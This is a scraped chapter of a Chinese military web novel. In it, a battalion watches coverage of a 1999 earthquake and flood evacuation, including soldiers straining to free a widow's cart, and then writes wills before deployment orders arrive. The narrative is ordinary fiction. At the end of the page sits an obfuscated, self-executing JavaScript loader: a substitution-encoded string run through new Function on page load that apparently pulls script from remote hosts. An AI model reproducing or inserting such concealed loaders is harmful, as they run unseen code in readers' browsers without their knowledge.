首页
第268章 大悲无声,遗书你
返回
关灯 护眼:关 字号:小

第268章 大悲无声,遗书你也要抄?

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    陈默刻意没有告诉营里具体发生什么事。
    但工具装备全部装车,单兵干粮全营携带,所有车辆加满油,老兵的直觉都告诉他们。
    多半是哪里受灾,需要部队去救援。
    训练场上。
    黑压压的人群聚集,没有人吭声,也没有人刻意询问,这俗话说,人数过千,无边无沿。
    示范营目前的总人数,也就六百人左右,可所有人带着装备,满脸严肃,依旧给整个现场带来极为肃穆的氛围。
    “秀才,到底怎么回事?”
    程东将机动方案编写完毕,交给参谋部其他人员后,快步走到陈默跟前,压低声询问。
    “不太清楚。”陈默摇摇头:“军部突然发布通知,大彤和孝城多地区发生震感,要求所有驻军单位进入一级战备状态。”
    “连长,晋省这边还会有地震?”
    “有,但是没这么严重吧。”程东认真的回忆了一下:“我记得91年大彤那边就发生过,最高是5.8级,那时候我还是志愿兵,没有听说拉战备。”
    “阅兵呗!”
    陈默耸了耸肩膀:“阅兵牵动了所有高层的神经线,任何风吹草动都会被严肃对待,但愿国泰民安,不要出任何事情。”
    “话是这么说啊。”
    程东说着,他扭头看向老兵聚集的方向,对着几个连长招手:“去,安排人配发鸭绒带,今晚战备命令不取消,全体住在这边待命。”
    “秀才,遗书要开始准备了。”
    “再等等!”
    陈默摇头,而后,看向一旁的教导员方培军,老方是政治部安排过来的干部。
    消息方面,肯定要比营里其他人要灵通的多。
    “等等吧。”
    方培军也认同了陈默的建议。
    营里主管军事行动和政治思想的两位军官,都不着急安排写遗书,程东也就不再提议。
    想来也是。
    他们的编制属于学院,并非单独的驻军,情况得恶劣到什么程度,才会安排示范营出动?
    大彤有武警支队,有摩步82旅,孝城同样有高炮部队,188师在那边驻扎。
    这些军管单位,都能在最短的时间内,以最快的速度整合力量,发挥效率。
    陈默没有再理会周围的干部,他快步走到王建勇跟前,电视信号已经被接了进来,投影播放新闻实事访谈节目。
    一众干部围过来查看。
    陈默左右扫了一圈,还是没发现满学习的身影,他拉过王建勇:“你去看下门岗出入记录表,看看满学习是不是不在营区。”
    “想办法联系上他,尽快返回。”
    “一级战备可不是开玩笑的,万一需要咱们上,人数不齐就要出大事了。”
    “诶!交给我了。”
    王建勇也知道事情的严重性,答应一声后,急匆匆离开。
    此时。
    播报还在继续,主持人在现场的声音,清晰的通过投影传出。
    “截止5号19点整,大彤,孝城多地区共发生余震7次,其中最大为5.6级,整体上呈现出有起伏的衰减趋势。”
    “根据目前统计,受灾区域涉及两市六县,其中,阳高地区灾情最为严重。”
    “气象专家研判,本次自然灾害,不会波及太广,已经有平稳迹象。”
    “救援物资以及解放军同志,第一时间抵达现场,现在转播救援近况。”
    配合播报,投影开始转向由直升机俯瞰画面。
    画面并不清晰。
    拍摄地应该是在最为严重的高阳,受汛期暴雨影响,加上5.6级已经算得上中震,很多没有防震设计的建筑全部受到影响。
    现场污浊的洪流汤汤滚滚,天地阴沉发黄,一股大自然之怒的天威宏大而浩荡,应该是震感引起某地决堤,一眼望不到头的水面,两层楼高的房子被淹没,电线杆也只露出十几厘米,一条土狗毛都粘黏在身上,蜷缩在电线杆顶端。
    孤零零的哀嚎,最终跳进水中,试图游到岸边,却被冲刷下来的木板配合着水浪,连挣扎的机会都没有,便被巨大的力量拍到水下。
    暴雨依旧,震感没看出来,豆大的雨点噼里啪啦狂暴的砸在水面。
    这种场景看上去,竟然给人一种很奇怪的错觉,仿佛雨水根本不是从天上往下落,而是地面往天上去。
    洪汤从地生,而往天上流的绝望与触目惊心,震动了每一个凑过来观看转播的干部。
    洪流在咆哮,无尽良田,顷刻间变成泽国。
    陈默皱了皱眉头。
    他刚才听主持人讲有平稳迹象,还以为问题真的不大呢。
    可看这转播的情况,没有一点平稳啊,这是震感加上山洪爆发?
    军区传真的命令,也能有偏颇?
    不过好在,受灾的地方民众应该已经转移,并没有看到任何救援或者人员受灾的画面。
    这时候,主持人的声音再度从画面中传出。
    “为舒缓下游坝区,大堤,城市的防洪压力。”
    “经上级领导批准,第一次泄洪准备工作即将开始。”
    “下面是本台记者,从前线地震带以及泄洪区带回来的报道。”
    画面一转。
    一名站在雨里,披着白色塑料布当做雨衣的前线主持道:“观众朋友大家好,我现在处的位置,就是高阳大坝下游。”
    “由于震感强烈,加上暴雨,站在这里雨水砸在脸上根本睁不开眼。”
    “而泄洪区域内,有桑干和白登两条支流,向下游而去。”
    “根据报告,拦水坝蓄水量,将在6个小时后达到顶点,必须开闸泄洪.否则大坝会发生全面溃坝的危险。”
    “从今日下午19点开始,晋省抗洪指挥部,正式下达转移命令,全部公务人员,民兵,企业事业单位人员和野战67高炮,武警机动大队及消防官兵,负责协同配合十五万人民群众,向80公里外的城市转移”
    滚滚如同长龙的老百姓队伍,冒着暴雨赶着牛马羊开始移动。
    主持人一开始说的也不算错,震感确实不强,并且已经有了平稳的趋势。
    但因为震感而引发的一系列灾难,完全没有想象中的那般轻松。
    这种画面壮观且又悲切,放弃家园的痛,舍小保大,泄洪区本就是震感受灾区,如今又要承担分洪。
    责任说起来光荣,却无比残酷。
    因为这是主动引洪水。
    训练场周围,越来越多的老兵悄悄移动脚步,来到投影的新闻前,脸色凝重的看着。
    陈默注意到了人群,他并没有出声阻止,因为没办法阻止。
    只是安排人将通讯室的座机,想办法全部移到训练场,方面营区的战士联系家人。
    这是人之常情。
    看到有些地方转移,猜到自己很可能会赶赴灾区,很多人只想跟家里人说说话,哪怕一句也好。
    更何况,现场应该也有泄洪区的战士。
    突然。
    转播的画面捕捉到一处骚动。
    转移队伍某个点出现了移动滞留,一个看模样只有五六岁的小姑娘,穿着很旧的红色小背心,身上披着用尿素编织袋做的雨披,怀中抱着一只湿漉漉的大母鸡,呆呆的站在原地,看着自家两轮的架子车,深深陷入泥泞。
    “一,二,三啊!!”
    “一二三啊,使劲!!”
    周围三四个男人一身污泥,爆发着怒吼,试图将装满货物的架子车,从污泥中拖出。
    然而,根本没什么用,整个车身反而越陷越深,最后大半个轮子都被污泥吃掉,一股强力加上车身自重,让一个单薄的架子车都开始变得让人绝望。
    地震时应该有不少人受伤,加上一直随人群赶路,拖家带口,还要带着很重的行李。
    人群根本没剩多少力气。
    眼看着堆起来的货物,能够比肩两人高的推车,一点点坍塌陷入淤泥。
    男人们唉声叹气。
    头发凌乱的小女孩,明亮的双眸噙满泪水,眼神中满是害怕,那只大公鸡也在昂起头颅,四处乱看,显得很是慌张。
    一名中年妇女,应该是小女孩的母亲,瘫坐在泥巴中,毫无形象的乱蹬腿,大声哭喊。
    全部的家当都在这一辆车上,大多都陷入淤泥,这个打击,让她很难接受。
    1999年,一辆架子车或许不算什么,可一家老小的家当,那是全家所有的财富了。
    至于房子,那玩意在泄洪区,啥也不是。
    “再试试,翠花妹子,甭哭,再试试!”
    一名村干部模样的中年男人不忍心,招呼同村的汉子,打算再次努力。
    而附近组织撤离的民兵,还有少量野战军却走过来阻止,甚至开始焦急的催促,训斥。
    没办法啊。
    十几万人,几十公里的撤离,必须保证大部队的安全。
    沿途很多地震带,路都被破坏,加上洪水,根本不通车,几个小时后就要泄洪。
    他们得活着,得跑,快跑,争分夺秒的跑。
    一个可以帮,那十个,一百个,一千个呢?
    耽搁的都是最佳撤离时间啊。
    “老乡,为什么还停在这?为什么不走?”一名上尉急匆匆的趟着泥水赶过来。
    村干部咬了咬牙道:“领导,她全家就这点家当了,翠花她男人在矿场开春的时候没了,就一个闺女,家当再扔就没了,没人给她娘俩撑起这个家啊。”
    上尉脸色变了又变,看得出来,他应该也挺纠结,可看着淤泥内的车子,上尉拉起村干部的手臂道:“东西没了还有机会再买,人没了就真的没了。”
    “耽误在这里,后面的队伍都要被影响,我们挤占了多少路?放弃吧!”
    上尉也没办法。
    救援的部队没那么快过来,附近高炮单位就算人再多,分散到各个救灾区域,也没剩多少人啊。
    转移的大部队都是拖家带口,没办法抽出人帮忙了。
    村干部内心萧瑟,他当然知道人比物资重要,动动嘴说不出话。
    “领导,求你了,求求你,再试一次,孩子爸爸的东西还在车上,求你了!!!”
    小女孩的母亲目光中满是不甘,叽里咕噜的从泥水中爬到上尉跟前。
    看到这种情景,上尉懵了一下。
    身为军人,他知道大局为重,赶时间最要紧,后面还有十几万人呢,不能耽搁。
    可同样身为军人,哪里经得住老乡一句求情啊。
    他感觉到人生最艰难的选择,莫过于此时了。
    上尉再次看了眼架子车,咬咬牙蹲下身子劝解道:“大姐,东西没了还可以.”
    “活不下去。”
    小女孩的母亲,双手死死抓住上尉的裤脚,声音凄厉。
    身后抱着大公鸡的小女孩“哇”的一声,哭出了声。
    活不下去!
    犹如雷霆击碎了上尉所有的坚持。
    让他整个人怔住,这四个字无比沉重。
    可能很多后世的人察觉不到,以为这只是卖惨,不讲理。
    其实不是。
    九十年代末,在国家经济腾飞前。
    经常有农村的妇女,因为一点家庭打击,或者说是吵架之类,就会买农药,撒手撇下孩子。
    做母亲的能这么狠心,那是真的被生活折磨到崩溃,而这些放到10年后,根本就是不敢想象的事情。
    可这就是现实。
    因为穷!
    很多人承受了无法想象的苦难,孩子每年上学学费,都要出门去借,每次都是自家的孩子最后一个交,有谁经历过?
    因为一只羊掉下山崖摔死,就会让人想不开,又有谁见过?
    连一碗大米都要去借,又有谁尝试过。
    没经历过那个年代,就无法想象一个失去家庭支柱,一个人带着孩子艰苦生活,面临失去全部家当的那种绝望感。
    “罢了,老子拼着违纪,也不能光看着。”
    上尉叹了口气。
    他们说话的时间其实很短,但真要从淤泥里抢救家当,重新整理,那时间可就浪费的太多了。
    “附近有没有榴弹二连的?”
    “三连的?高炮的人呢?”
    “来了来了!!”
    很快!
    一队战斗班暂时放下任务集合过来,加上原有的村民,以及后续挤过来的人群。
    团团围住车子,怒目圆睁,脖子,手臂上青筋条条绽放,用力,怒吼。
    车子一点点从淤泥中出来。
    五公分!
    十公分!
    十五公分!
    眼看着大部分车身已经出来,再有二十公分就能完全将车从淤泥拖出时。
    也许是站立的位置不对,也许是这些家当本就沉重,又粘了太多泥水,一名年轻的战士体力不支,脚下一滑,身体前倾,额头重重磕在一个铁锅的侧沿。
    顿时,红色的血水涌出。
    众人节奏一乱,车身再次陷入淤泥。
    操!
    原本正在指挥的上尉双眼通红,挥手驱散围过来的众人。
    “都别耽误时间!”
    “起开起开,不用管他,咱们继续。”
    说完,上尉替补了年轻的战士,大声喊着号子,协调力量。
    然而,没入大半的车身这时候早已经倾斜,不再是直直的陷入淤泥,车身似乎被什么东西卡住,无论怎么用力都没用。
    “下面好像有东西!”
    “挖!”
    直播画面再次一转,两名战士不管不顾的趴下,用手开始挖,但很快,双手又是血淋淋的。
    淤泥中不仅有碎石,还有家当里面被打碎的玻璃瓶,碎片划伤了手。
    众人眼角抽搐,目光看向上尉。
    而上尉脸色铁青,似乎是没看到再次受伤的战士,大声道:“来,不挖了,我们继续!!”
    “一,二,三起!”
    “一二,三起!”
    一旁,原本瘫坐在泥水里的小女孩母亲,刚才还呆呆的,忽然情绪爆发。
    她从地上爬起来,发了疯似的冲上去,撕扯着把两名手受伤的战士推开,把上尉推开,把帮忙的所有人推开。
    期间,她跌倒了很多次。
    周围的人都愣住了。
    “大姐,你这是做啥?”上尉询问。
    看着把人都推开,小女孩的母亲笑了,那是一种麻木的笑,无趣的笑,混合着冰冷的雨水和污泥。
    “我不要了。”
    “我不要这破家当了,不要了。”
    笑着笑着,又开始小声的哭。
    “不要了,都不要了。”
    她转过脸庞,反复念叨,雨幕中,撤离的大队伍中,她的表情慢慢看不清楚,而后突然抄地上一根扁担。
    对着陷入淤泥中的车子开始用力砸。
    一下,两下,三下。
    “我为啥要嫁给你嘞,为啥要嫁到这种地方嘞,为啥你能撇下我嘞.”
    小女孩被吓傻了,怯怯的后退几步,怀中紧紧抱着大公鸡,不敢吭声。
    周围,汉子无言,大悲无声。
    也许,他们并不能感同身受这位大姐的痛苦,但却可以有无限的同情。
    上尉叹了口气。
    他脱掉雨衣,还有雨衣里面的常服,取下小女孩头顶编织袋,将军装和雨衣给小女孩换上。
    上尉自己顶着编织袋。
    新闻广播是黑白色,那种黑白中还夹杂着冷酷的苍白。
    示范营这边,几乎所有围观的战士,都在默默流泪,拳头攥紧。
    陈默深呼一口气,撇过脑袋。
    这还只是新闻播放的其中一角啊,如果说刚才不明白什么情况,陈默还会抱有尽量不出事,不出动的幻想。
    可看这情况。
    十几万人转移,还都在泄洪区内,恐怕很多部队都要前往救援了。
    包括示范营。
    陈默转头看了眼方培军,老方当即会意,点点头,转身走向西校区。
    他则是大步来到训练场的升旗台上。
    “讲一下!”
    刷!
    数百名官兵直直立正,全营在此刻,意外的达到了最为统一的状态,执行力也是最高的时刻。
    陈默却怎么也高兴不起来。
    他只是尽可能的压抑情绪,放大嗓门道:“具体的任务暂时没有。”
    “但是军区所有部队都接到了通知,刚才具体情况,我相信有不少同志也都看到了。”
    “大家做好准备。”
    “等会教导员会给大家分发纸笔,把遗书留好,泄洪区具体什么情况我不知道,暴雨和后续的地震会不会造成更恶劣的后果,我无法预知。”
    “我不能保证能把你们每一个人带回来,更不保证我自己能回来。”
    陈默心情压抑,下一秒提高声音,声色俱厉。
    “要求!”
    刷!
    全体官兵再次立正,动作整齐划一。
    “一旦接到命令,立刻机动出发,严格按照方案执行,不允许出现任何环节错误。”
    “同时,你们要记住,抵达灾区,第一,老百姓的生命安全最重要,第二,上级给的任务最重要,第三,才是你们。”
    “同志们,是否清楚?”
    “是!”训练场上,顷刻间爆发山呼海啸般的回应。
    杀气弥漫!
    威势弥漫!
    或许平时营区内,各班,各排,各连之间并不和谐,明争暗斗不少。
    都在争荣誉,为自己的集体谋福利。
    但在这一刻,军人的脊梁就是民众最大的靠山。
    很快。
    方培军返回,纸笔下发,一个传一个。
    数百人盘腿坐在地上,用背包垫着,沙沙沙的开始写遗书。
    示范营里面老兵多,有些人写这玩意就跟喝凉水似的,手到擒来。
    当然,也有像是学院刚毕业没多久的学生官,会比较脆弱,字还没写呢,先偷偷哭一会,再装作若无其事的给家里打电话,唠唠家常。
    然后回来抹着眼泪写。
    陈默前世没写过,他是机关干部,这次可以说是头一遭了。
    他也想父母,想妹妹,想给家里打个电话,但是不能,全营的人都在看着。
    如果这时候,连营长都表现的脆弱,那就没办法组织救援了。
    他搬着马扎坐在升旗台,抬头想了想。
    低头写道:“如不幸牺牲,工资存折里有两千三百六十三块,两千给爸妈,三百给小弟,他该读高中了,手里留点钱,六十三块给小妹买点糖果吧,她喜欢吃甜,不过要少吃,不要长蛀牙,要不然长大就不漂亮了,我牺牲后,请替我给家人转达一声,对不起,儿作为军人,有些职责必须去履行,而成为军人,儿从来没有后悔过。”
    陈默写完,默默的折叠起来,心情没有很失落,也没有太多的感伤,也许年龄大了。
    对这些反倒没有太多的感触。
    无非就是遗憾,不能多陪陪家人。
    写完,陈默还扭头偷摸看程东一眼,这位程连长写的比他还琐碎,都是叮嘱孩子读书的事,还有一些家庭的琐事,属于细碎叮咛的类型。
    老程也发现秀才在偷懒,他倒是挺光棍,一点都没藏着掖着,还忍不住笑道:“狗日的,遗书你也想抄?自己写自己的,特么的。”
    自从当了营长。
    再没有听过连长骂自己,如今再一听,还挺亲切。
    陈默又扭头看向医疗分队的队长刘敏,这位二十六七岁的大姑娘,写个遗书跟特么散文一样。
    什么如今人民有难,军人当挺身而上,我虽是女人,但同时是军人,自是应该当仁不让叽里呱啦的说一大堆,看得陈默都感觉牙酸。
    更有厉害的老兵,应该是文化程度稍有不足,遗书上面不是画圈就是画符号。
    他竟然没看懂。
    搞的陈默一阵哑然。
    就在训练场上黑压压的人群,都在写遗书时,西校区门岗处,三辆142运输车开进来。
    隔着大老远,陈默就看到头车副驾驶,老满那狗头伸出来四处看。
    没等陈默过去询问。
    作战值班室执勤的通讯参谋,一路气喘吁吁的跑过来。
    “营长!”
    “命,命令到了!”
    (本章完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();